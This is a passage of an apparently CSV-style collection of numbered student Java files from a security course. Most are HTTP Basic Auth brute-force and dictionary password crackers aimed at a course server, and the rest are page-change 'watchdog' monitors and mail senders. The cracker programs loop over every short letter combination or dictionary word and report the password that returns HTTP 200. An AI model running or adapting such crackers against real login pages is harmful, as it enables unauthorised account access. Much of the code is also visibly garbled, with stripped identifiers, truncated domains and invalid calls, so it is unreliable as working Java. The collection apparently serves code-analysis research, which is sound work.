      for(int i = 0; i < 52 && !cracked; i++) {
         for(int j = 0; j < 52 && !cracked; j++) {
            temppass = c[i]+c[j];
            Authenticator.setDefault(new MyAuthenticator(username, temppass));
            try{
               BufferedReader r = new BufferedReader(new InputStreamReader(
                  url.openStream()));
               cracked = true;
               password = temppass;
            } catch(Exception e){}
         }
      }
      
      for(int i = 0; i < 52 && !cracked; i++) {
         for(int j = 0; j < 52 && !cracked; j++) {
            for(int k = 0; k < 52; k++) {
               temppass = c[i]+c[j]+c[k];
               Authenticator.setDefault(new MyAuthenticator(username,temppass));
               try{
                  BufferedReader r = new BufferedReader(new InputStreamReader(
                     url.openStream()));
                  cracked = true;
                  password = temppass;
               } catch(Exception e){}
            }
         }
      }
       stopTime = System.currentTimeMillis();
      
      if(!cracked)
         System.out.println(""Sorry, couldnt find the password"");
      else
         System.out.println(""Password found: ""+password);
      System.out.println(""Time taken: ""+(stopTime-startTime));
   }
}

"
043.java,"import java.util.*;
import java.io.*;
import javax.swing.text.html.*;


public class WatchDog {

  public WatchDog() {

  }
  public static void main (String args[]) {
    DataInputStream newin;

    try{
      System.out.println(""ishti"");

      System.out.println(""Downloading first copy"");
      Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
      String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""};
      String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""};
      while(true){
            Thread.sleep(24*60*60*1000);
            System.out.println(""Downloading new copy"");
            Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
            Thread.sleep(2000);
            Runtime.getRuntime().exec(cmdDiff);
            Thread.sleep(2000);
            newin = new DataInputStream( new FileInputStream( ""Diff.txt""));
            if (newin.readLine() != null){
               System.out.println(""Sending Mail"");
               Runtime.getRuntime().exec(cmdMail);
               Runtime.getRuntime().exec(""cp newfile.html oldfile.html"");

            }
        }

    }
    catch(Exception e){
      e.printStackTrace();
    }

    }

}"
003.java,"import java.io.*;
import java.util.*;
import java.net.*;
import java.net.Authenticator;


public class  BruteForce
{

	private String result ="""";

	public class customAuthenticator extends Authenticator {
	       public customAuthenticator(String passwd)
           {
            this.pass = passwd;
           }

	       protected PasswordAuthentication getPasswordAuthentication()
           {
	                 return new PasswordAuthentication("""",pass.toCharArray());
           }
           public String pass;
    }

    public BruteForce() {
            java.util.Date d = java.util.Calendar.getInstance().getTime();
            System.out.println(d.toString());
		char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',
							  'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',
							   'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};

		String record = null;



        String url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";

		char pass[] = {'x','x','x'};
		int count=1;
		String passwd=new String();
        HttpURLConnection connection = null;
        URL u = null;

        try
        {
         u = new URL(url);

        }
        catch (MalformedURLException e)
        {
        }

        for(int a=0;a<words.length;a++)
        {
                for(int b=0;b<words.length;b++)
                {
                        for(int c=0;c<words.length;c++)
                        {
                                 pass[0]=words[a];
                                 pass[1]=words[b];
                                 pass[2]=words[c];
                                 passwd=passwd.copyValueOf(pass,0,3);
                                 System.out.println(count+ "" ) "" + passwd);
                                 count++;
                                 try
                                 {

                                       connection = (HttpURLConnection) u.openConnection();
                                       Authenticator.setDefault(new customAuthenticator(passwd));

                                       if (connection.getResponseCode()!=401)
                                       {
                                            System.out.print(""The password is : ""+passwd);
                                            System.out.println();
                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();
                                            System.out.println(d1.toString());
                                            System.out.println(""\ntime taken in seconds:""+ (d1.getTime() - d.getTime())/1000+""\n"");

                                            System.exit(0);
                                       }
                                       else
                                       {
                                       }
                                       connection.disconnect();
                                 }
                                 catch (IOException e)
                                 {
                                       System.out.println(e);
                                 }
                        }
                }
        }
    }

	public static void main(String[] args)
	{


		BruteForce  = new BruteForce();
	}
}"
096.java,"



public class SMTPException extends Exception {

       private String msg; 
       
       public SMTPException(String message) {
              msg = message;
       }

       
       public String getMessage() {
              return msg;
       }
}"
101.java,"

import java.net.*;
import java.io.*;

public class SendEMail {

 public void SendEMail(){}

public void sendMail(String recipient,String c, String subject){
   try {

      Socket s = new Socket(""yallara.cs.rmit.edu."", 25);
      BufferedReader in = new BufferedReader
          (new InputStreamReader(s.getInputStream(), ""8859_1""));
      BufferedWriter out = new BufferedWriter
          (new OutputStreamWriter(s.getOutputStream(), ""8859_1""));

      send(in, out, ""HELO theWorld"");
      
      
      send(in, out, ""MAIL FROM: <watch@dog.>"");
      send(in, out, ""RCPT : ""+recipient);
      send(in, out, ""DATA"");
      send(out, ""Subject: ""+ subject);
      send(out, ""From: WatchDog.java"");
      send (out, ""\n"");
      
      BufferedReader reader;
      String line;
      reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
      line = reader.readLine();
      while (line != null){
          send(out, line);
         line = reader.readLine();
      }
      send(out, ""\n.\n"");
      send(in, out, ""QUIT"");
      s.print();
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedReader in, BufferedWriter out, String s) {
   try {
      out.write(s + ""\n"");
      out.flush();
      System.out.println(s);
      s = in.readLine();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedWriter out, String s) {
   try {
      out.write(s + ""\n"");
      out.flush();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }
}"
069.java,"


import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;

import java.io.*;
import java.net.*;
import java.util.*;


public class BruteForce {
  
  static char [] passwordDataSet = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"".toCharArray();
  
  private int indices[] = {0,0,0};
  
  private String url = null;

  
  public BruteForce(String url) {
    this.url = url;

  }
  
  private int attempts = 0;
  private boolean stopGen = false;
  
  public String getNextPassword(){
    String nextPassword = """";
    for(int i = 0; i <indices.length ; i++){
      if(indices[indices.length -1 ] == passwordDataSet.length)
        return null;
      if(indices[i] == passwordDataSet.length ){
        indices[i] = 0;
        indices[i+1]++;
      }
      nextPassword = passwordDataSet[indices[i]]+nextPassword;

      if(i == 0)
        indices[0]++;

    }
    return nextPassword;
  }
  
  public void setIndices(int size){
    this.indices = new int[size];
    for(int i = 0; i < size; i++)
      this.indices[i] = 0;
  }
  public void setPasswordDataSet(String newDataSet){
    this.passwordDataSet = newDataSet.toCharArray();
  }
  
  public String crackPassword(String user) throws IOException, MalformedURLException{
    URL url = null;
    URLConnection urlConnection = null;
    String outcome = null;
    String  authorization = null;
    String password = null;
    BASE64Encoder b64enc = new BASE64Encoder();
    InputStream content = null;
    BufferedReader in = null;
    String line;
          int i = 0;
    while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){
      url = new URL(this.url);
      urlConnection = url.openConnection();
      urlConnection.setDoInput(true);
      urlConnection.setDoOutput(true);


      urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1"");
      urlConnection.setRequestProperty(""Host"", url.getHost());
      password = getNextPassword();
      if(password == null)
        return null;
      System.out.print(password);
      authorization = user + "":"" + password;


      urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes()));


outcome = urlConnection.getHeaderField(null); 



      this.attempts ++;
      urlConnection = null;
      url = null;

      if(this.attempts%51 == 0)
        for(int b = 0; b < 53;b++)
          System.out.print(""\b \b"");
      else
        System.out.print(""\b\b\b."");

    }
    return password;
  }
  
  public int getAttempts(){
    return this.attempts;
  }
  public static void main (String[] args) {
    if(args.length != 2){
      System.out.println(""usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >"");
      System.exit(1);
    }

    BruteForce bruteForce1 = new BruteForce(args[0]);
    try{
      Calendar cal1=null, cal2=null;
      cal1 = Calendar.getInstance();
      System.out.println(""Cracking started at: "" + cal1.getTime().toString());
      String password = bruteForce1.crackPassword(args[1]);
      if(password != null)
        System.out.println(""\nPassword is: ""+password);
      else
        System.out.println(""\nPassword could not  retrieved!"");
      cal2 = Calendar.getInstance();
      System.out.println(""Cracking finished at: "" + cal2.getTime().toString());
      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
      System.out.println(""Total Time taken  crack: "" + (d3.getTime())/1000 + "" sec"");
      System.out.println(""Total attempts : ""  + bruteForce1.getAttempts());

    }catch(MalformedURLException mue){
      mue.printStackTrace();
    }

    catch(IOException ioe){
      ioe.printStackTrace();
    }
  }
}"
158.java,"
import java.net.*;
import java.io.*;


public class BruteForce {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;

  try {
               URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");

           start  =System.currentTimeMillis();


              DataInputStream dis ;

      for (i=0;i<=58;i++)
      {

        for (j=0;j<=58;j++)
        {

          for (k=1;k<=58;k++)
          {

           


            if (i !=0)
            {


              pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64);

              if ((i+64) >=91 && (i+64) <=96)
              break;

               if ((j+65) >=91 && (j+65) <=96)
              break;

               if ((k+64) >=91 && (k+64) <=96)
              continue;


              UserPass= auth.encode("""",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu."");
              connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1"");
              connect.setRequestProperty(""Authorization"","" "" + UserPass);
              connect.connect();

              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);

              if (status.equalsIgnoreCase(""HTTP/1.1 200 OK""))
              {
              System.out.println(""Password is "" + pass);
              end=System.currentTimeMillis();
              diff= end - start;
              System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" );
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }




          }
        }
      }

      System.out.println("" match found"");
      connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println(""Unable  Open URL"" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println(""Unable  retrive URL"" + ioerr);
  }




  }
}"
231.java,"import java.io.*;
import java.*;
import java.net.*;

public class BruteForce
{
   public static void main(String[] args) throws Exception
   {
      
     String password = checkPassword(); 

     System.out.println(""Congratulations Your password is ""+ password );
      
      

      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
      HttpURLConnection sec = (HttpURLConnection)url.openConnection();
      sec.setRequestProperty(""Authorization"", "" "" + encode("":""+password));
      BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));
      String inputLine;

      while ((inputLine = in.readLine()) != null)
         System.out.println(inputLine);
      in.close();
  }

    

   private static String checkPassword() throws Exception
   {
      String Password="" "";
      int attempt=0;
      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
      HttpURLConnection sec;
      String[] cad = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",
                      ""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",
                      ""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",
                      ""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};

      for (int i=0; i < cad.length; i++)
      {
         for (int j=0; j< cad.length;j++)
         {
            for (int k=0; k<cad.length;k++)
            {
               attempt++;
               String Passwd = new String(cad[i]+cad[j]+cad[k]);
               String userPasswd= "":""+Passwd;
               System.out.println(attempt+"" ""+userPasswd);
              
               sec = (HttpURLConnection)url.openConnection();
               sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));

               if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
               {
                  Password=Passwd;
                  return Password;
               }
               sec.disconnect();
            }  
         }  
      }  
      return ""Password not found"";
   }

   private static String encode(String userPasswd) throws Exception
   {
      String ad;
      String encodedUserPasswd="" "";
      String addr= ""~//base64_encode.php ""+userPasswd ;
      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", addr});
      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));
      
      while ( (cad = resp.readLine()) != null )
      {
         
         encodedUserPasswd=cad;
      }
      return encodedUserPasswd;
    }
}

"
106.java,"


import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.UsernamePasswordCredentials;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;




public class  BruteForce{

    static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite"");
    static final int    LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue();

    static final int    USE_PROXY_SERVER  = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue();
    static final int    PROXY_PORT        = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue();

    static final String PROXY_SERVER      = BruteForcePropertyHelper.getProperty(""proxyServer"");
    static final String PROXY_USENAME     = BruteForcePropertyHelper.getProperty(""proxyUserName"");
    static final String PROXY_PASSWORD    = BruteForcePropertyHelper.getProperty(""proxypassword"");

    static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod"");
    static final int    NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue();

    static final String[] cValidChars	 = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};

    public BruteForce() {
        super();
    }




    public static void main (String[] args) throws Exception {

		String	statusLine = "" "";
		int		count = 0;
		int		firstLetterIndex = 0;
		int		secondLetterIndex = 0;
		int		thirdLetterIndex = 0;
		int		divValue = 0;




		String userName = """";
		String password = """";


        HttpClient client = new HttpClient();

		

        if (USE_PROXY_SERVER == 1) {
  			client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);
  			client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));

        }

        client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);
        client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http"");
        GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);


		

		count = 0;

		for (int f = 0; f < 52; f++) {

			firstLetterIndex = f;

			password = cValidChars[firstLetterIndex];
			System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password);

	        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));
	        client.executeMethod(getMethod);
	        statusLine = getMethod.getStatusLine().toString();


			if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
				System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
				System.exit(0);
			}
	    }


		
		count = 0;

		for (int g = 0; g < 52; g++) {

			firstLetterIndex = g;

			for (int h = 0; h < 52; h++) {

			secondLetterIndex = h;

			password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];

				System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password);

		        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));

				++count;

				divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;


				if (divValue == 0) {

					System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one"");
					getMethod.releaseConnection();
					getMethod = null;
					getMethod = new GetMethod(GET_METHOD_HACKER);

				}

		        client.executeMethod(getMethod);

		        statusLine = getMethod.getStatusLine().toString();
				System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);

				if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
					System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);

					System.exit(0);
				}
		    }

		}

		
		

		getMethod.releaseConnection();
		getMethod = null;
		getMethod = new GetMethod(GET_METHOD_HACKER);

		count = 0;
		for (int i = 0; i < 52; i++) {

			firstLetterIndex = i;

			for (int j = 0; j < 52; j++) {

				secondLetterIndex = j;

				for (int k = 0; k < 52; k++) {

					thirdLetterIndex = k;

					password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex];
					System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ ""  ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password);

			        client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));

					++count;

					divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;


					if (divValue == 0) {

						System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one"");
						getMethod.releaseConnection();
						getMethod = null;
						getMethod = new GetMethod(GET_METHOD_HACKER);

					}

			        client.executeMethod(getMethod);
			        statusLine = getMethod.getStatusLine().toString();

					if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) {
						System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password);
						System.exit(0);
					}
			    }
			}
		}
    }
}
"
002.java,"


import java.io.*;


class Dictionary{

public static void main(String args[]){
	try{
		
        File file = new File(""words"");
		FileReader fr = new FileReader(file);
		BufferedReader bf = new BufferedReader(fr);
		URLHack uh = new URLHack();
		String line="""";
		while((line = bf.readLine()) != null){
			if(line.length() <=3) {
				
                
                uh.crackIt(line);
		    }
        }
	}
	catch(IOException ioe){
		System.out.println(""Error: ""+ioe);
	}

}
}



class URLHack{

public void crackIt(String paas){
		Process p=null;
		try{
			p = Runtime.getRuntime().exec(""wget -nv --http-user= --http-passwd=""+paas+
			"" http://sec-crack.cs.rmit.edu./SEC/2/"");



			InputStream is = p.getErrorStream();
			BufferedReader bf = new BufferedReader(new InputStreamReader(is));

			String tempLine="""";
			tempLine = bf.readLine();
			System.out.println(tempLine);

			if(tempLine.length() == 21) 
				System.out.println(""Invalid Password "" +paas);
			else
			{
				System.out.println(""Password is "" + paas);
				System.exit(0);
			}


		}

		catch(Exception e){
			System.out.println("" ERROR ""+e);


		}
}
}"
152.java,"

import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary   {
  static String userName;
  static  URL   url;
  static URLAuthenticator  urlAuthenticator;
  static int noOfAttempts;
  
  public Dictionary() {
  }

  public static void main (String args[])  {
     Properties props = System.getProperties();
     props.put(""http.proxyHost"", ""bluetongue.cs.rmit.edu.:8080"");
     
     System.out.println(props.get(""http.proxyHost""));
     BufferedReader inFile = null;
     
        try {
	          if (args.length < 1)  {       
		         System.out.println (""Usage  : java Dictionary /usr/share/lib/dict/words"");
                         System.exit(1);
		  }	 
	    	  inFile = new BufferedReader (new FileReader(args[0]));



	    	  breakPassword(inFile);
		}
		
		catch (FileNotFoundException e) { 
		    System.err.println(e.getMessage());
		    System.exit(1);
                }
                catch (IOException e) {                  
                    System.err.println(e.getMessage());
                    System.exit(1);
         }
	 finally {
    	    try {
		     inFile.close();  

	         }
	    catch (IOException ex) {ex.printStackTrace();}  
	}

 }
 private static void  breakPassword (BufferedReader file) throws
 IOException {
     String password=""  "";
     userName="""";
     boolean found= false;
     MyHttpURLConnection    httpURLConnection;
     String passBase64="" "";
     urlAuthenticator =  new URLAuthenticator(userName);
     HttpURLConnection   u=null;
     String  input;
	try {
	       
	        url  = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
     	    
            } catch (MalformedURLException  e){
	    } catch  (IOException  io) {io.printStackTrace();}
	
        while (( input = file.readLine()) != null) {
	      if (input.length() <=3)   {
                  password = input;
		  password ="":""+ password;
   	         
                  try {
                       u = (HttpURLConnection)url.openConnection();
		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                       u.setRequestProperty(""Authorization"", "" "" + passBase64);
			         

			
                       u.connect();
		       noOfAttempts++;	
		    if (u.getContentLength() != 0) {    
		       
		       if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
		          
	                   found=true;
   		          System.out.println(""Your User Name : Password Combination is :""+password+ 
			  ""   ""+ "" Found by  Thread"");
			  System.out.println(""   "");
			  System.out.println("" of Attempts / Requests ""+ noOfAttempts);
			  
		          System.exit(0);
		       }	  
                      
		   }

		  } catch  (ProtocolException  px) {px.printStackTrace();
		  } catch (BindException e){e.printStackTrace();
		  } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
		  } catch  (IOException  io) {io.printStackTrace();
		  } finally {u.disconnect();
		  }
              }
        }
	
	
	
	
	
	
	
 }
}
class URLAuthenticator  extends Authenticator   {
   private String uName;
   String passwd;
   static private char[] password;
   public URLAuthenticator(String uName) {
     this.uName = uName;
   }
   public void setPassword(String passwd)  {

     this.passwd=passwd;
     password=passwd.toCharArray();

   }

   public PasswordAuthentication getPasswordAuthentication()  {

	 PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
 	 return  passwordAuthentication;
   }
}
class MyHttpURLConnection extends HttpURLConnection  {
    public MyHttpURLConnection(URL url) {
       super(url);
    }
    public void disconnect() {
    }
    public boolean usingProxy() {
        return true;
    }
    public void connect() {
    }
}


         


"
036.java,"import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;


public class LoginAttempt 
{

    
    
    
    private String urlName = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
    private String userName = """";
    private String connectString = """";

	
    public LoginAttempt()
    {
    }   


	

    public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
    {
       boolean foundPassword = false;
       LoginAttemptResults results = new LoginAttemptResults();
       
       for( i = 0; i < casedPasswords.length; i++)	
       {
           passwordsTried++;
    	   try
    	   {
           		URL targetURL;
           		HttpURLConnection connection;
    	   	    targetURL = new URL(urlName);
               	connection = (HttpURLConnection) targetURL.openConnection();
    
              	connectString = userName + "":"" + casedPasswords[i].trim();
        		connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getBytes());
        	   	connection.setRequestProperty(""Authorization"", "" "" + connectString);
        	    connection.connect();
        
        		if(connection.getResponseCode() == 200)
        		{
        		    foundPassword = true;
        
        		    System.out.println(""Connected for "" + casedPasswords[i]);
        
        		    
        		    System.out.println(""\nvvvvvvvv File Contents vvvvvvvv\n"");
        		    BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                    String line;
                    for(int j = 1; j <= 20; j++)
                        if((line = in.readLine()) != null)
                			System.out.println(line);
                		else
                			break;
        		    System.out.println(""\n^^^^^^^^ File Contents ^^^^^^^^\n"");
        		    in.print();
        		} 
    	   }
    	   catch(IOException e)
    	   {
     		    System.out.println(""tryPasswords error: "" + e + "" at password number "" + passwordsTried + "" ("" + casedPasswords[i] + "")."");
    	   }  
    	   if(foundPassword) break;
       } 
       results.setSuccess(foundPassword);
       results.setPasswordsTried(passwordsTried);
       return results;
    }  


} 
"
220.java,"import java.io.*;

public class UnixMailing
{
   private String buffer;
   private String email;

   public static void main (String [] args)
   {
      UnixMailing obj = new UnixMailing(""@hotmail."");
      obj.println(""hehehe"");
      obj.sent();
   }

   public UnixMailing(String email)
   {
      this.email = email;
      buffer = """";
   }

   public boolean sent()
   {
      String command = ""mail ""+email;

      if (buffer.length() <= 0)
         return false;

      try
      {
         Process proc = (Runtime.getRuntime()).exec(command);
         DataOutputStream out = new DataOutputStream(proc.getOutputStream());
         out.writeBytes(buffer);
         out.flush();
         out.print();
         proc.waitFor();
         buffer = """";
         return true;
       }
      catch(Exception e)
      {
         e.printStackTrace();
         buffer = """";
         return false;
      }
   }
   public void print(String data)
   {
      buffer += data;
   }

   public void println(String data)
   {
      buffer += data+""\n"";
   }

   public void cancel()
   {
      buffer = """";
   }

}
"
205.java,"
import java.util.*;
import java.io.*;

public class DicReader
{
   private Vector v;

   public DicReader( String fileName)
   {
      boolean flag = true; 
      String line;
      v = new Vector( 50);
      try
      {
         BufferedReader in = new BufferedReader( new FileReader( fileName));
	 while(( line = in.readLine()) != null)
	 {
	    flag = true;
	    if( line.length() > 0 && line.length() < 4 )
	    {
	       for( int i = 0; i < line.length(); i++)
               {
	          if( Character.isLetter( line.charAt( i)) == false)
		  {
		     flag = false;
		  }
	       }
	       if( flag == true)
	       {
	          
	          v.add( line);
	       }
	    }
	 }
	 in.print();
      }
      catch( IOException e)
      {
         System.out.println( "" not open the file!"");
	 System.exit( 0);
      }
   }
   public Vector getVictor()
   {
      return v;
   }
   public static void main ( String [] args)
   {
      DicReader fr = new DicReader( ""/usr/share/lib/dict/words"");
      System.out.println( "" far ""+fr.getVictor().size()+"" combinations loaded"");
   }
}
	 
         
"
110.java,"


import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintStream;
import java.net.MalformedURLException;
import java.net.URL;

public class Watchdog {
    static final String LOGON_SITE = WatchdogPropertyHelper.getProperty(""logonSite"");
    static final String PREVIOUS_FILE_NAME = WatchdogPropertyHelper.getProperty(""previousFileName"");
    static final String CURRENT_FILE_NAME = WatchdogPropertyHelper.getProperty(""currentFileName"");
    static final String TIME_IN_MILLS = WatchdogPropertyHelper.getProperty(""timeInMilliseconds"");    


    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(""smtpServer"");
    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(""recipient"");
    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(""sender"");
    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(""messageHeader"");    
    
	private static final String COMMAND = WatchdogPropertyHelper.getProperty(""unixCommand"");    
	
	
	public static void main(String[] args) {
		System.out.println("" Monitoring the Web : ""+ LOGON_SITE);
		System.out.println(""The output of this is written  the file: ""+ PREVIOUS_FILE_NAME);
		System.out.println(""The webpage   monitored every: ""+ TIME_IN_MILLS+ "" milliseconds"");		
		
		Watchdog watchdog = new Watchdog();
		watchdog.accessWebPage(LOGON_SITE);
	}
	
	public void accessWebPage( String urlString ) {
		BufferedReader reader = null;
		BufferedReader readerNew = null;		
		String data = null;
		

        FileOutputStream out = null; 
        FileOutputStream outNew = null; 
        PrintStream p = null; 
        PrintStream pNew = null; 

		URL url = null;

		
		
		while (true) {
			try {
	
	            out = new FileOutputStream(PREVIOUS_FILE_NAME);
	
	            
	            p = new PrintStream( out );
			
				url = new URL(urlString);            		            
	
				reader = new BufferedReader (new InputStreamReader(url.openStream()));
				
	
				
				while (( data = reader.readLine()) != null ) {
					p.println(data);										
					
				}
				System.out.println(""Completed writing the output  the file: ""+ PREVIOUS_FILE_NAME);				
			
			}
			catch (MalformedURLException mfue) {
				mfue.printStackTrace();
			}
			catch (IOException ioe) {
				ioe.printStackTrace();
			}
			
			finally {
	           p.close();
			}		
			
			
			
			try {
				
				
				

				System.out.println(""Sleeping for : ""+ TIME_IN_MILLS+ "" milliseconds"");				
				Thread.sleep(Integer.valueOf(TIME_IN_MILLS).intValue());
	
	            outNew = new FileOutputStream(CURRENT_FILE_NAME);
	
	            
	            pNew = new PrintStream(outNew);
			
	            
				readerNew = new BufferedReader (new InputStreamReader(url.openStream()));
				
				while (( data = readerNew.readLine()) != null ) {
					pNew.println(data);
					
				}
			
				System.out.println(""Completed writing the output  the file: ""+ PREVIOUS_FILE_NAME);								
			}
			catch (MalformedURLException mfue) {
				mfue.printStackTrace();
			}
			catch (IOException ioe) {
				ioe.printStackTrace();
			}
			
			
			catch (InterruptedException e) {
				e.printStackTrace();
			}		
			
			finally {
	           pNew.close();
			}		
			
			
			InputStream inputStream = null;
			int count = 0; 
						
			System.out.println("" comparing the the current content with the previous content "");					
			
			System.out.println(""Executing the command: ""  + COMMAND);			
			
			try {			
				
				
				
				Process process = Runtime.getRuntime().exec(COMMAND);		

				process.waitFor();
								
				inputStream = process.getInputStream();
		
			} catch (Exception e) {
				
				System.out.println(""Error Executing the command: ""  + COMMAND+ ""\n ""  + e.toString());
			}
	
	
	
		
			try {
				
				
				
				count = inputStream.available();
									
								if (count > 0) {
					byte[] buffer = new byte[count];
					inputStream.read(buffer);
									
					String stdout = new String(buffer);
					
					System.out.println(""The following changes has occured in the web "");					
					System.out.println(stdout);
					
					
					Mailsend.send(SMTP_SERVER, RECIPIENT_EMAIL, SENDER_EMAIL, MESSAGE_HEADER, stdout);				
				}
				
				else {
					System.out.println("" has been  change  the site"");
				}
				
			} catch (Exception g) {
									
				System.out.println(""Exception: ""  + g.toString());
			}
		}		
						
	}		
		
		
	public Watchdog() {

	}


}


"
214.java,"

import java.io.*;
import java.net.*;
import java.util.*;
import java.*;


public class WatchDog
{

  public static void main (String args[])
  {
    StringWriter sw = new StringWriter();
